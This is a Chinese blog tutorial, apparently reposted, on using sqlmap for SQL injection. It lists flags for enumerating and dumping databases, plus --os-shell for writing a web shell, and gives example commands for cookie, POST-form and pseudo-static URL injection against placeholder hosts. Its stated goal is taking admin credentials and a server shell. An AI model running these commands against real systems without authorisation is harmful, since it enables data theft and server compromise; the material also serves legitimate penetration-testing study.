ITPub博客

首页 > 数据库 > 数据库开发技术 > Sqlmap注入从入门到放弃

Sqlmap注入从入门到放弃

原创 数据库开发技术 作者:逍遥子 时间:2022-06-09 08:00:00 0 删除 编辑

前言

sqlmap是我们肾透中必不可少的神器之一。通过对数据库的注入,获取目标主机的管理员账号和密码。登录后台后通过上传、逻辑等漏洞获得服务器shell。本文将为你详细介绍sqlmap的基本参数和用法。

基本用法

-u      #指定目标
-dbs    #列举数据库
--level #探测等级
--count -D "数据库名" #获取表中数据个数
--current-db     #列举当前数据库
--users --passwords  #列举数据库用户名
--current-user       #列举当前用户
--privileges         #查看权限
--os-shell           #写web shell
--is-dba             #判断当前用户是不是dba
--tables -D "数据库"  #列举数据库的表名
--columns -T "表名" -D "数据库"  #列举列名
--dump -C "列名" -T "表名" -D "数据库"  #列举数据
--start=:#指定开始的行
--stop=:#指定结束的行
--threads=:#线程数

高级参数

risk 指数

--risk 1(2,3,4)

共有四个风险等级,默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。在有些时候,例如在UPDATE的语句中,注入一个OR的测试语句,可能导致更新的整个表,可能造成很大的风险。

level 指数

--level 1(2,3,4,5)

共有五个等级,默认为1,sqlmap使用的payload可以在xml/payloads.xml中看到,你也可以根据相应的格式添加自己的payload。cookie在level为2的时候就会测试, HTTP User-Agent/Referer头在level为3的时候就会测试

-v 日志指数

-v

显示sqlmap对一个点是进行了怎样的尝试判断以及读取数据的 共有七个等级,默认为1

  • (0)只显示python错误以及严重的信息。

  • (1)同时显示基本信息和警告信息。(默认)

  • (2)同时显示debug信息。

  • (3)同时显示注入的payload。

  • (4)同时显示HTTP请求。

  • (5)同时显示HTTP响应头。

  • (6)同时显示HTTP响应页面。

晋级

cookie注入

cookie注入常见有两种,一种是cookie中的值拼接成sql语句产生注入。另一种asp的cookie中转注入。原因是程序对提交数据获取方式是直接request(c.s.t)的方式。未指明使用request对象的具体方法进行获取。可以都接收get,post,cookie方式提交的数据,一般程序只是过滤了get和post注入,如果没有过滤cookie注入语句,我们就可以进行注入了。

cookie注入命令

sqlmap -u "http://www.xxx.com" --level 2 #枚举强度
sqlmap -u "http://www.xxx.com" --cookie "id=1"

表单post

常见的表达注入有三种方式表单枚举

sqlmap -u "http://www.xxx.com" --forms

指定post参数

sqlmap -u "http://www.xxx.com" --data "username=1&passwd=1"

抓包构造

sqlmap -r test.txt

伪静态注入

简单判断伪静态 浏览器F12开发者工具控制台

alert(document.lastModified)

会弹出网页最后更新时间,多次刷新页面,通过时间判断出是否为静态页面

sqlmap -u "http://www.xxx.com/index.php/Index/id/1*.html"

总结

在我前期的文章中,已经介绍了很多关于sqlmap的使用和实战。本文注重理论方面的讲解,有兴趣的小伙伴可以看看往期的文章。

更多工具  关注我们

原文作者:Kali笔记;如有侵权,请联系管理员删除。

下一篇: 利用Office钓鱼
请登录后发表评论 登录
全部评论

注册时间:2021-01-22

  • 博文量
    760
  • 访问量
    444381